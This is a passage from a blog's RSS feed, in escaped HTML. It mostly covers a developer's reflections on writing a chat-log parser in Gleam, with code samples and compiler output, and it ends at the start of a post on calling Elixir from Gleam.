&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_line&lt;/span>(line:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Result&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Nil&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Start&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Error&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">Nil&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Close&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Error&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">Nil&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split_once&lt;/span>(line,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;: &amp;#34;&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Ok&lt;/span>(#(_,&lt;span style="color:#666"> &lt;/span>message))&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Ok&lt;/span>(message)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Error&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">Nil&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse&lt;/span>(contents:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split&lt;/span>(contents,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>list.&lt;span style="color:#447fcf">map&lt;/span>(parse_line)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>result.values&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Great! I like being more explicit that the lines without messages return &lt;code>Error(Nil)&lt;/code> rather than an empty string. Also, &lt;code>result.values&lt;/code> is more succinct for filtering empty lines than the previous &lt;code>list.filter(fn(s) { !string.is_empty(s) })&lt;/code>.&lt;/p>
&lt;h2 id="overall-reflections">Overall reflections&lt;/h2>
&lt;p>After spending a few hours with Gleam, I&amp;rsquo;m enjoying it. It pushes me out of my comfort zone the right amount where I feel like I&amp;rsquo;m learning new ways of thinking about programming but not so much that I&amp;rsquo;m too overwhelmed to learn anything.&lt;/p>
&lt;p>The biggest downside I&amp;rsquo;m finding with Gleam is that it&amp;rsquo;s a young language with a relatively small team. It &lt;a href="https://lpil.uk/blog/hello-gleam/">just turned six years old&lt;/a>, but it looks like the founder was working on it solo &lt;a href="https://github.com/gleam-lang/gleam/graphs/contributors?selectedMetric=additions">until a year ago&lt;/a>. There are now a handful of core maintainers, but I don&amp;rsquo;t know if any of them work on Gleam full-time, so the ecosystem is a bit limited. I&amp;rsquo;m looking ahead to parsing other log formats that are in HTML and XML, and there are Gleam HTML and XML parsers, but they don&amp;rsquo;t seem widely used, so I&amp;rsquo;m not sure how well they&amp;rsquo;ll work.&lt;/p>
&lt;h3 id="love-pipelines">Love: Pipelines&lt;/h3>
&lt;!-- wordword-next-line-ignore-word: love -->
&lt;p>I love love love Gleam&amp;rsquo;s pipeline syntax. You can see me using it in the test with the &lt;code>|&amp;gt;&lt;/code> characters:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;...&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>string.trim&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>plaintext_logs.parse&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>should.&lt;span style="color:#447fcf">equal&lt;/span>([&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hey whats up&amp;#34;&lt;/span>])&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The non-pipeline equivalent of the test would look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_simple_plaintext_log_test&lt;/span>()&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>&lt;span style="color:#666"> &lt;/span>input&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;...&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>&lt;span style="color:#666"> &lt;/span>trimmed&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">trim&lt;/span>(input)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>&lt;span style="color:#666"> &lt;/span>parsed&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>plaintext_logs.&lt;span style="color:#447fcf">parse&lt;/span>(trimmed)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>should.&lt;span style="color:#447fcf">equal&lt;/span>(parsed,&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hey whats up&amp;#34;&lt;/span>])&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It looks like wet garbage by comparison.&lt;/p>
&lt;p>Now that I&amp;rsquo;ve seen pipelines, they feel so obvious and conspicuously missing in every other programming language I use.&lt;/p>
&lt;p>I&amp;rsquo;ve enjoyed pipelining in bash, but it never occurred to me how strange it is that other programming languages never adopted it.&lt;/p>
&lt;h3 id="like-example-centric-documentation">Like: Example-centric documentation&lt;/h3>
&lt;p>The Gleam documentation is a bit terse, but I like that it&amp;rsquo;s so example-heavy.&lt;/p>
&lt;p>I learn best by reading examples, so I appreciate that so much of the Gleam standard library is documented with examples showing simple usage of each API function.&lt;/p>
&lt;h3 id="like-built-in-unused-symbol-warnings">Like: Built-in unused symbol warnings&lt;/h3>
&lt;p>I like that the Gleam compiler natively warns about unused functions, variables, and imports. And I like that these are warnings rather than errors.&lt;/p>
&lt;p>In Go, I get frustrated during debugging when I temporarily comment something out and then the compiler stubbornly refuses to do anything until I fix the stupid import, which I then have to un-fix when I finish whatever I was debugging.&lt;/p>
&lt;h3 id="like-todo-keyword">Like: &lt;code>todo&lt;/code> keyword&lt;/h3>
&lt;p>One of my favorite dumb programming jokes happened at my first programming job about 15 years ago. On a group email thread with several C++ developers, my friend shared a hot tip about C++ development.&lt;/p>
&lt;p>He said that if we were ever got fed up with arcane C++ compilation errors, we could just add a special line to our source code, and then even invalid C++ code would compile successfully:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c++" data-lang="c++">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#pragma always_compile
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Spoiler alert: it&amp;rsquo;s not a real C++ preprocessor directive.&lt;/p>
&lt;p>But I&amp;rsquo;ve found myself occasionally wishing languages had something like this when I&amp;rsquo;m in the middle of development and don&amp;rsquo;t care about whatever bugs the compiler is trying to protect me from.&lt;/p>
&lt;p>Gleam&amp;rsquo;s &lt;code>todo&lt;/code> is almost like a &lt;code>#pragma always_compile&lt;/code>. Even if your code is invalid, the Gleam compiler just says, &amp;ldquo;Okay, fine. I&amp;rsquo;ll run it anyway.&amp;rdquo;&lt;/p>
&lt;p>You can see this when I was in the middle of implementing &lt;code>parse_line&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_line&lt;/span>(line:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Start&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Close&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">echo&lt;/span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split&lt;/span>(line,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;: &amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">todo&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I take out the &lt;code>todo&lt;/code>, Gleam refuses to run the code at all:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam &lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling log_parser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: Type mismatch
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ┌─ /home/mike/code/gleam-log-parser/src/plaintext_logs.gleam:8:5
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> │
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">8&lt;/span> │ ╭ line -&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">9&lt;/span> │ │ &lt;span style="color:#24909d">echo&lt;/span> string.split(line, on: &lt;span style="color:#ed9d13">&amp;#34;: &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">10&lt;/span> │ │ }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> │ ╰─────^
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This &lt;span style="color:#6ab825;font-weight:bold">case&lt;/span> clause was found to &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> a different &lt;span style="color:#24909d">type&lt;/span> than the previous
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>one, but all &lt;span style="color:#6ab825;font-weight:bold">case&lt;/span> clauses must &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> the same type.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Expected type:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> String
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Found type:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> List(String)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Right, I&amp;rsquo;m returning an incorrect type, so why would the compiler cooperate with me?&lt;/p>
&lt;p>But adding &lt;code>todo&lt;/code> lets me run the function anyway, which helps me understand what the code is doing even though I haven&amp;rsquo;t finished implementing it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam &lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>warning: Todo found
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ┌─ /home/mike/code/gleam-log-parser/src/plaintext_logs.gleam:10:7
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> │
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">10&lt;/span> │ todo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> │ ^^^^ This code is incomplete
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This code will crash &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> it is run. Be sure to finish it before
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>running your program.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hint: I think its &lt;span style="color:#24909d">type&lt;/span> is &lt;span style="color:#ed9d13">`&lt;/span>String&lt;span style="color:#ed9d13">`&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling log_parser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.21s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running log_parser_test.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/plaintext_logs.gleam:9
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[&lt;span style="color:#ed9d13">&amp;#34;[18:44] Jane&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>F
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[...]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Finished in 0.007 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">1&lt;/span> tests, &lt;span style="color:#3677a9">1&lt;/span> failures
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="like-pattern-matching">Like: Pattern matching&lt;/h3>
&lt;p>I find pattern matching elegant and concise, though it&amp;rsquo;s the part of Gleam I find hardest to adjust to. It feels so different from procedural style of programming I&amp;rsquo;m accustomed to in other languages I know.&lt;/p>
&lt;p>The downside is that I have a hard time recognizing when pattern matching is the right tool, and I also find pattern matching harder to read. But I think that&amp;rsquo;s just inexperience, and I think with more practice, I&amp;rsquo;ll be able to think in pattern matching.&lt;/p>
&lt;h3 id="dislike-error-handling">Dislike: Error handling&lt;/h3>
&lt;p>I find Gleam&amp;rsquo;s error handling pretty awkward, especially because errors ruin the beauty of nice, tidy pipelines.&lt;/p>
&lt;p>For example, if I had a string processing pipeline like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>string.&lt;span style="color:#447fcf">split&lt;/span>(line,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;-&amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>list.last&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>result.&lt;span style="color:#447fcf">unwrap&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>)&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Ugly!
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>string.uppercase&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That &lt;code>result.unwrap&lt;/code> line feels so ugly and out of place to me. I wish the syntax was like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>string.&lt;span style="color:#447fcf">split&lt;/span>(line,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;: &amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>try&lt;span style="color:#666"> &lt;/span>list.last&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>string.uppercase&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Ok&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Where &lt;code>try&lt;/code> causes the function to return an error, kind of like &lt;a href="https://ziglang.org/documentation/0.14.1/#try">in Zig&lt;/a>.&lt;/p>
&lt;h3 id="dislike-small-core-language">Dislike: Small core language&lt;/h3>
&lt;p>I don&amp;rsquo;t know if this is a long-term design choice or if it&amp;rsquo;s just small for now because it&amp;rsquo;s an indie-developed language, but the first thing about Gleam that stood out to me is how few built-in features there are.&lt;/p>
&lt;p>For example, there&amp;rsquo;s no built-in feature for iterating over the elements of a &lt;a href="https://tour.gleam.run/everything/#basics-lists">&lt;code>List&lt;/code> type&lt;/a>, and the type itself doesn&amp;rsquo;t expose a function to iterate it, so you have to use &lt;a href="https://hexdocs.pm/gleam_stdlib/gleam/list.html">the &lt;code>gleam/list&lt;/code> module&lt;/a> in the standard library.&lt;/p>
&lt;p>Similarly, if a function can fail, it returns a &lt;a href="https://tour.gleam.run/everything/#data-types-results">&lt;code>Result&lt;/code> type&lt;/a>, and there are no built-in functions for handling a &lt;code>Result&lt;/code>, so you have to use the &lt;a href="https://hexdocs.pm/gleam_stdlib/gleam/result.html">&lt;code>gleam/result&lt;/code> module&lt;/a> to check if the function succeeded.&lt;/p>
&lt;p>To me, that functionality feels so core to the language that it would be part of the language itself, not the standard library.&lt;/p>
&lt;h3 id="dislike-limited-standard-library">Dislike: Limited standard library&lt;/h3>
&lt;p>In addition to the language feeling small, the standard library feels pretty limited as well.&lt;/p>
&lt;p>There are currently only 19 modules in &lt;a href="https://hexdocs.pm/gleam_stdlib/">the Gleam standard library&lt;/a>. Conspicuously absent are modules for working with the filesystem (the de facto standard seems to be the third-party &lt;a href="https://hexdocs.pm/simplifile/">simplifile&lt;/a> module).&lt;/p>
&lt;p>For comparison, the standard libraries for &lt;a href="https://docs.python.org/3/library/index.html">Python&lt;/a> and &lt;a href="https://pkg.go.dev/std">Go&lt;/a> each have about 250 modules. Although, in fairness, those languages have about 1000x the resources as Gleam.&lt;/p>
&lt;h2 id="source-code">Source code&lt;/h2>
&lt;p>The source code for this project is available on Codeberg:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser">https://codeberg.org/mtlynch/gleam-chat-log-parser&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Commit &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/src/commit/291e6d77a0ae00e4962f12253c356568b679aab6">291e6d&lt;/a> is the version that matches this blog post.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Thanks to &lt;a href="https://www.ihh.dev/">Isaac Harris-Holt&lt;/a> for helpful feedback on this post.&lt;/em>&lt;/p></content:encoded></item><item><title>A Simple Example of Calling an Elixir Library from Gleam</title><link>https://mtlynch.io/notes/gleam-call-elixir/</link><pubDate>Sun, 08 Jun 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/gleam-call-elixir/</guid><description>&lt;p>I&amp;rsquo;ve been experimenting a bit with Gleam and Elixir lately as part of &lt;a href="https://mtlynch.io/notes/which-new-language/">my search for a new programming language&lt;/a>.&lt;/p>
